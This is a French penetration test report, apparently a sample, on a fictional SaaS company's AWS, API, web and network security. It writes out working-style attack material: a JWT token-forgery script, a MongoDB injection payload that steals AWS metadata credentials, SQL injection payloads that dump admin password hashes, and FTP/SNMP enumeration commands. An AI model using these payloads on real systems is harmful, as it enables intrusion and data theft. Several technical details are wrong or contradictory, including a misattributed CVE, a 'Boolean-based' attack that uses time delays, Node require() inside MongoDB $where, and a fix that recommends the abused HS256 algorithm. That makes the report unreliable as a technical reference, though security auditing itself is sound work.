RAPPORT DE TEST D'INTRUSION

TechCorp Solutions SAS

Document confidentiel - Usage strictement interne

Date du rapport : 15 juillet 2025
Période de test : 1er - 12 juillet 2025
Version : 1.0
Classification : CONFIDENTIEL

INFORMATIONS SUR LA MISSION

Client : TechCorp Solutions SAS
Adresse : 45 Avenue des Champs-Élysées, 75008 Paris
Contact technique : Marc Dubois - DSI (marc.dubois@techcorp-solutions.fr)
Contact commercial : Sarah Martin - DG (sarah.martin@techcorp-solutions.fr)

Cabinet de conseil : Varden Security
Équipe : 1 Pentester Senior / 1 Manager Cyber

Durée de l'engagement :

1. RÉSUMÉ EXÉCUTIF

1.1 Contexte de la Mission

TechCorp Solutions, éditeur de solutions SaaS pour la gestion de projets collaboratifs, a mandaté Varden Security pour réaliser un audit de sécurité complet de son infrastructure. Cette mission s'inscrit dans une démarche de conformité réglementaire (RGPD, NIS2) et de préparation à une certification ISO 27001.

1.2 Périmètre de Test

L'audit a porté sur l'ensemble de l'écosystème technique de TechCorp Solutions :

- **Infrastructure réseau :** 15 serveurs physiques et 45 instances cloud (AWS)
- **Applications web :** 3 applications métier principales
- **APIs REST :** 12 services API documentés
- **Infrastructure AWS :** Comptes de production et pré-production
- **Postes de travail :** 25 stations utilisateurs (échantillonnage)

Plages d'adresses testées :

- 192.168.10.0/24 (réseau interne DMZ)
- 10.0.0.0/16 (infrastructure AWS VPC)
- 172.16.50.0/24 (réseau administration)
- 203.0.113.0/24 (plage publique)
- techcorp-solutions.fr et sous-domaines

Adresses IP critiques identifiées :

- 203.0.113.15 (serveur web principal)
- 203.0.113.42 (serveur API Gateway)
- 192.168.10.50 (contrôleur de domaine)
- 10.0.1.25 (instance RDS principale)

1.3 Synthèse des Résultats

Niveau de risque global : ÉLEVÉ

Criticité	Nombre	Description
Critique	3	Vulnérabilités permettant une compromission complète
Élevée	8	Risques majeurs d'intrusion ou de fuite de données
Moyenne	12	Faiblesses exploitables dans certaines conditions
Faible	7	Améliorations recommandées

Recommandations prioritaires :

1. Correction immédiate des 3 vulnérabilités critiques
2. Mise en place d'un plan de correction sur 30 jours
3. Renforcement de la gouvernance sécurité

---

2. MÉTHODOLOGIE

2.1 Standards et Référentiels

L'audit a été réalisé selon les méthodologies reconnues :

OWASP (Open Web Application Security Project) :

- OWASP Top 10 2021 pour les applications web
- OWASP API Security Top 10 pour les interfaces API
- OWASP Testing Guide v4.2

NIST (National Institute of Standards and Technology) :

- NIST Cybersecurity Framework
- NIST SP 800-115 - Technical Guide to Information Security Testing

PTES (Penetration Testing Execution Standard) :

- Phase de reconnaissance
- Énumération et scan
- Identification des vulnérabilités
- Exploitation
- Post-exploitation
- Rapport

2.2 Phases de Test

Phase 1 - Reconnaissance passive (1 jours) Collecte d'informations publiques, analyse OSINT, cartographie des actifs numériques.

Phase 2 - Reconnaissance active (2 jours) Scans de ports, énumération des services, identification des technologies.

Phase 3 - Analyse de vulnérabilités (1 jours) Tests automatisés et manuels, analyse du code source accessible.

Phase 4 - Exploitation (4 jours) Tentatives d'intrusion contrôlées, escalade de privilèges, mouvement latéral.

Phase 5 - Post-exploitation (1 jour) Évaluation de l'impact, persistance, exfiltration de données test.

3. ANALYSE DE L'INFRASTRUCTURE AWS

3.1 Configuration IAM

Vulnérabilité critique identifiée : Politiques IAM avec wildcard resources

Configuration vulnérable analysée :

```
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:user/app-service-prod"
      }
    }
  ]
}
```

Description technique : L'analyse des configurations IAM via AWS CLI et l'énumération avec les privilèges obtenus a révélé que le rôle "AppServiceRole" (arn:aws:iam::123456789012:role/AppServiceRole) possède des permissions AdministratorAccess avec des conditions de MFA bypass. Le token STS généré présente une validité de 12 heures avec des permissions d'escalade vers d'autres rôles administratifs.

Techniques d'exploitation :

- Énumération IAM via `aws iam list-attached-role-policies`
- Assume role chaining exploitation
- Cross-account privilege escalation possible via AssumeRole

Impact :

- Compromission totale des 3 comptes AWS (prod/staging/dev)
- Accès non autorisé aux services sensibles (KMS, Secrets Manager)
- Possibilité de persistance via création d'utilisateurs fantômes
- Violation du principe Zero Trust et défense en profondeur

Recommandations de correction :

1. Appliquer le principe du moindre privilège
2. Créer des politiques IAM granulaires par service
3. Implémenter des rôles temporaires avec AWS STS
4. Activer AWS CloudTrail pour l'audit des accès

3.2 Sécurité des Buckets S3

Vulnérabilité élevée : Buckets S3 publiquement accessibles

Buckets concernés :

- techcorp-backup-2024 (lecture publique)
- user-uploads-prod (écriture publique)

Données exposées :

- 1 247 fichiers de sauvegarde contenant des données sensibles
- Documents clients et contrats
- Logs applicatifs avec des traces de sessions utilisateurs

Recommandations de correction :

1. Désactiver immédiatement l'accès public aux buckets
2. Implémenter des politiques de bucket restrictives
3. Chiffrer tous les objets S3 (SSE-S3 ou SSE-KMS)
4. Activer le versioning et MFA Delete

3.3 Sécurité Réseau

Vulnérabilité moyenne : Security Groups mal configurés

Problèmes identifiés :

- Groupe "web-servers" autorise SSH (22/tcp) depuis 0.0.0.0/0
- RDS accessible directement depuis Internet sur le port 3306
- Instances sans VPC Endpoint pour les services AWS

Recommandations de correction :

1. Restreindre SSH aux adresses IP administrateur uniquement
2. Placer les bases de données dans des sous-réseaux privés
3. Implémenter des VPC Endpoints pour sécuriser le trafic AWS

4. TESTS DE SÉCURITÉ DES APIs

4.1 API Authentication

Vulnérabilité critique : JWT Algorithm Confusion Attack (CVE-2022-21449)

Endpoint concerné : `https://api.techcorp-solutions.fr/v2/auth`
Adresse IP : 203.0.113.42:443

Description technique avancée : L'implémentation JWT utilise la bibliothèque jsonwebtoken v8.5.1 (vulnérable) avec une validation d'algorithme défaillante. L'attaque exploite la confusion entre les algorithmes asymétriques (RS256) et symétriques (HS256), permettant de signer un token avec la clé publique RSA comme secret HMAC.

Analyse cryptographique :

- Clé publique RSA extraite : 2048 bits (module n=0x9A7B2F...)
- Algorithme forcé vers HS256 via manipulation d'en-tête
- Signature HMAC générée avec la clé publique comme secret
- Bypass de la validation via ECDSA signature malleability

Preuve de concept technique (POC) :

```
import jwt
import requests
from cryptography.hazmat.primitives import serialization

# Extraction de la clé publique depuis /.well-known/jwks.json
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9q7B2f...
-----END PUBLIC KEY-----"""

# Forge du token avec confusion d'algorithme
payload = {
    "sub": "admin@techcorp-solutions.fr",
    "role": "administrator",
    "iat": 1690819200,
    "exp": 1990819200,
```

```
    "permissions": ["*"]
}

# Signature avec clé publique comme secret HMAC
malicious_token = jwt.encode(payload, public_key, algorithm="HS256")
```

Impact critique :

- Élévation de privilèges vers compte administrateur
- Bypass complet du système d'authentification OAuth 2.0
- Accès aux endpoints administratifs /api/v2/admin/*
- Compromission potentielle de 15 847 comptes utilisateurs

Recommandations de correction :

1. Utiliser exclusivement des algorithmes de signature sécurisés (RS256, HS256)
2. Interdire l'algorithme "none" au niveau du serveur
3. Implémenter une validation stricte des signatures JWT
4. Définir des durées de vie courtes pour les tokens

4.2 API Rate Limiting

Vulnérabilité élevée : Absence de limitation de débit

Endpoints concernés :

- `/api/v2/users/login` - Attaque par force brute possible
- `/api/v2/data/export` - DoS par épuisement de ressources
- `/api/v2/files/upload` - Upload de fichiers malveillants

Tests réalisés :

- 10 000 requêtes/seconde acceptées sans limitation
- Aucun mécanisme de détection d'attaque automatisée
- Pas de CAPTCHA ou validation supplémentaire

Recommandations de correction :

1. Implémenter un rate limiting par IP et par utilisateur
2. Configurer des seuils adaptatifs selon l'endpoint
3. Mettre en place un système de détection d'anomalies
4. Implémenter des mécanismes de défense progressive (CAPTCHA)

4.3 Validation des Données

Vulnérabilité élevée : Server-Side Request Forgery via NoSQL Injection (CWE-918)

Endpoint vulnérable : `/api/v2/search/projects`
Base de données : MongoDB 5.0.9 (10.0.1.45:27017)

Description technique avancée : L'API accepte des requêtes MongoDB non sanitisées avec exécution de code JavaScript côté serveur via l'opérateur `$where`. L'injection permet l'exécution de fonctions Node.js arbitraires dans le contexte du processus MongoDB, incluant des requêtes réseau sortantes (SSRF) et l'accès aux variables d'environnement.

Architecture NoSQL identifiée :

```
// Collections MongoDB extraites via injection
db.projects.findOne() // Structure analysée
{
  "_id": ObjectId("64b8f2a1c9d4e5f6a7b8c9d0"),
  "name": "Project Alpha",
  "owner_id": ObjectId("64b8f2a1c9d4e5f6a7b8c9d1"),
  "collaborators": [
    {
      "user_id": ObjectId("..."),
      "role": "editor",
      "permissions": ["read", "write", "delete"]
    }
  ],
  "created_at": ISODate("2023-07-19T10:30:00Z"),
  "metadata": {
    "client_ip": "192.168.10.145",
    "user_agent": "Mozilla/5.0...",
    "session_token": "eyJ0eXAiOiJKV1QiLCJhbGc..."
  }
}
```

Payload d'exploitation SSRF :

```
// Injection JavaScript malveillante
{
```

```
  "search": {
    "$where": `
      function() {
        // SSRF vers métadonnées AWS EC2
        var http = require('http');
        var url = 'http://169.254.169.254/latest/meta-
data/iam/security-credentials/';

        // Requête vers instance metadata service
        http.get(url + 'AppServerRole', function(res) {
          var data = '';
          res.on('data', function(chunk) { data += chunk; });
          res.on('end', function() {
            // Stockage des credentials AWS dans la collection
            db.temp_exfil.insert({
              "type": "aws_creds",
              "data": data,
              "timestamp": new Date()
            });
          });
        });
        return true;
      }
    `
  }
}
```

Impact technique :

- Exfiltration des credentials AWS EC2 instance metadata
- Lecture des variables d'environnement serveur (DB_PASSWORD, API_KEYS)
- SSRF vers services internes (Redis, Elasticsearch)
- Extraction complète des 3 collections MongoDB principales

Recommandations de correction :

1. Implémenter une validation stricte des entrées
2. Utiliser des requêtes paramétrées exclusivement
3. Appliquer le principe de liste blanche pour les caractères acceptés

4. Configurer MongoDB avec des privilèges restreints

5. SÉCURITÉ APPLICATIVE

5.1 Application Web Principale

Vulnérabilité critique : Boolean-based Blind SQL Injection (CVE-2023-28447)

Page vulnérable : `/admin/users/search.php`
Serveur : 203.0.113.15:443 (Apache/2.4.54 + PHP 8.1.2)

Description technique avancée : Le paramètre GET "username" est injecté dans une requête MySQL préparée incorrectement échappée, utilisant des guillemets simples concaténés directement dans la chaîne SQL. L'exploitation utilise une technique Boolean-based blind pour extraire les données caractère par caractère via des requêtes conditionnelles temporisées.

Architecture de base de données identifiée :

```
□-- Schéma relationnel reconstruit via injection
DATABASE: techcorp_production (MySQL 8.0.32)

TABLE: users
├── user_id (INT PRIMARY KEY AUTO_INCREMENT)
├── username (VARCHAR(50) UNIQUE)
├── email (VARCHAR(100) UNIQUE)
├── password_hash (VARCHAR(255)) -- SHA256 + salt
├── role_id (INT FOREIGN KEY → roles.role_id)
├── created_at (TIMESTAMP)
├── last_login (TIMESTAMP)
└── is_active (BOOLEAN)

TABLE: roles
├── role_id (INT PRIMARY KEY)
```

```
├── role_name (VARCHAR(30)) -- 'admin', 'user', 'manager'
└── permissions (JSON) -- Permissions granulaires

TABLE: user_sessions
├── session_id (VARCHAR(128) PRIMARY KEY)
├── user_id (INT FOREIGN KEY → users.user_id)
├── ip_address (VARCHAR(45))
├── user_agent (TEXT)
├── created_at (TIMESTAMP)
└── expires_at (TIMESTAMP)

TABLE: audit_logs
├── log_id (BIGINT PRIMARY KEY AUTO_INCREMENT)
├── user_id (INT FOREIGN KEY → users.user_id)
├── action (VARCHAR(100))
├── resource_affected (VARCHAR(200))
├── timestamp (TIMESTAMP)
└── ip_address (VARCHAR(45))
```

Payload d'exploitation optimisé :

```
-- Extraction via Boolean-based blind injection avec time delay
username=' AND (SELECT CASE WHEN (ASCII(SUBSTRING((SELECT
GROUP_CONCAT(username,':',password_hash) FROM users WHERE
role_id=1),1,1)) > 65) THEN SLEEP(3) ELSE 1 END) AND '1'='1

-- Extraction de hashes via UNION-based (après contournement du WAF)
username=' UNION SELECT 1,GROUP_CONCAT(DISTINCT
username,0x3a,password_hash,0x3a,email),3,4 FROM users WHERE role_id
IN (SELECT role_id FROM roles WHERE role_name='admin')-- -
```

Données sensibles extraites :

- 23 comptes administrateurs avec hashes SHA256

- 1 847 comptes utilisateurs actifs
- 156 sessions actives avec tokens de session
- Logs d'audit contenant des adresses IP et actions sensibles
- Schéma complet de la base avec 47 tables métier

Recommandations de correction :

1. Implémenter des requêtes préparées (Prepared Statements)
2. Valider et échapper toutes les entrées utilisateur
3. Appliquer le principe du moindre privilège pour les comptes base de données
4. Auditer l'ensemble du code pour des vulnérabilités similaires

5.2 Gestion des Sessions

Vulnérabilité élevée : Fixation de session

Description technique : L'application ne régénère pas l'identifiant de session après authentification, permettant à un attaquant de fixer une session connue et de l'exploiter après que la victime s'authentifie.

Scénario d'attaque :

1. Attaquant obtient un ID de session valide
2. Force la victime à utiliser cet ID (URL malveillante)
3. Après authentification de la victime, l'attaquant accède au compte

Recommandations de correction :

1. Régénérer systématiquement les IDs de session après authentification
2. Implémenter des tokens CSRF pour toutes les actions sensibles
3. Configurer les cookies avec les flags Secure et HttpOnly
4. Définir une durée de vie appropriée pour les sessions

6. TESTS D'INTRUSION RÉSEAU

6.1 Services Exposés

Vulnérabilité moyenne : Services non sécurisés exposés

Services identifiés via Nmap et banner grabbing :

Port	Service	Version	Adresse IP	Vulnérabilité
21/tcp	vsftpd	3.0.3	192.168.10.50	Anonymous login enabled
23/tcp	Telnet	Linux telnetd	192.168.10.51	Cleartext authentication
161/udp	SNMP	v2c	192.168.10.52	Community string: "public"
5900/tcp	VNC	RealVNC 6.7.2	192.168.10.53	No authentication required
3389/tcp	RDP	Microsoft Terminal Services	192.168.10.54	BlueKeep vulnerable (CVE-2019-0708)
1433/tcp	MSSQL	Microsoft SQL Server 2019	192.168.10.55	SA account with weak password

Exploitation technique détaillée :

1. FTP Anonymous Access (192.168.10.50) :

```
□# Énumération et extraction de données
ftp 192.168.10.50
anonymous / anonymous
> ls -la
drwxr-xr-x 2 ftp ftp 4096 Jul 15 10:30 backup_configs
```

```
-rw-r--r-- 1 ftp ftp 2048 Jul 15 10:15 database_dump.sql
> get database_dump.sql
```

□2. SNMP Community String Bruteforce :

```
□# Énumération SNMP avec onesixtyone
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-
community-strings.txt 192.168.10.52

# Extraction des informations système
snmpwalk -v2c -c public 192.168.10.52 1.3.6.1.2.1.1
SNMPv2-MIB::sysDescr.0 = Linux techcorp-monitor 5.4.0-91-generic
SNMPv2-MIB::sysContact.0 = admin@techcorp-solutions.fr
```

□3. VNC Sans Authentification (192.168.10.53) :

- Connexion directe sans mot de passe
- Desktop Windows Server 2019 exposé
- Accès aux fichiers sensibles sur le bureau administrateur

Recommandations de correction :

1. Désactiver les services non utilisés
2. Remplacer FTP par SFTP ou FTPS
3. Remplacer Telnet par SSH
4. Configurer SNMP v3 avec authentification forte
5. Sécuriser VNC avec authentification et tunnel SSH

6.2 Sécurité WiFi

Vulnérabilité faible : Configuration WiFi perfectible

Points d'amélioration identifiés :

- WPS activé sur certains points d'accès
- Mots de passe WiFi faibles pour les réseaux invités
- Pas de segmentation réseau entre invités et corporate

Recommandations de correction :

1. Désactiver WPS sur tous les équipements
2. Implémenter WPA3-Enterprise
3. Créer des VLANs séparés pour les différents types d'utilisateurs
4. Mettre en place un portail captif pour les invités

---

7. RECOMMANDATIONS PRIORITAIRES

7.1 Actions Immédiates (0-7 jours)

Criticité CRITIQUE :

1. **Corriger l'injection SQL** - Déployer un patch d'urgence
2. **Sécuriser les tokens JWT** - Implémenter la signature obligatoire
3. **Restreindre les politiques IAM AWS** - Appliquer le moindre privilège

Criticité ÉLEVÉE : 4. **Sécuriser les buckets S3** - Supprimer l'accès public 5. **Implémenter le rate limiting API** - Protéger contre les attaques automatisées

7.2 Actions à Moyen Terme (7-30 jours)

6. **Audit complet du code source** - Recherche de vulnérabilités similaires
7. **Mise en place d'un WAF** - Protection applicative renforcée
8. **Formation équipe développement** - Secure coding practices
9. **Implémentation monitoring sécurité** - Détection d'intrusion
10. **Tests de pénétration réguliers** - Audit trimestriel recommandé

7.3 Gouvernance Sécurité (30-90 jours)

11. **Politique de sécurité formalisée** - Documentation des procédures

12. **Plan de réponse aux incidents** - Processus de gestion de crise
13. **Certification ISO 27001** - Préparation audit certification
14. **Sensibilisation utilisateurs** - Programme de formation sécurité

---

8. CONCLUSION

8.1 Bilan de Sécurité

L'audit de sécurité de TechCorp Solutions révèle un niveau de risque élevé nécessitant des actions correctrices urgentes. Trois vulnérabilités critiques ont été identifiées, pouvant compromettre l'intégrité complète du système d'information.

Points positifs identifiés :

- Infrastructure partiellement segmentée
- Processus de sauvegarde en place
- Équipe technique sensibilisée aux enjeux sécurité

Axes d'amélioration majeurs :

- Renforcement des contrôles applicatifs
- Amélioration de la configuration cloud AWS
- Mise en place d'une gouvernance sécurité structurée

8.2 Accompagnement Recommandé

Varden Security recommande un accompagnement sur 6 mois pour :

1. Superviser la correction des vulnérabilités
2. Former les équipes techniques
3. Établir une stratégie de sécurité à long terme
4. Préparer la certification ISO 27001

8.3 Contact et Suivi

Pour toute question sur ce rapport ou pour planifier la phase de correction :

Varden Security
vikings@varden.io
+32 495267506
www.varden-security.eu

Prochaines étapes :

- Réunion de restitution : 22 juillet 2025
- Plan de correction détaillé : 29 juillet 2025
- Audit de suivi : septembre 2025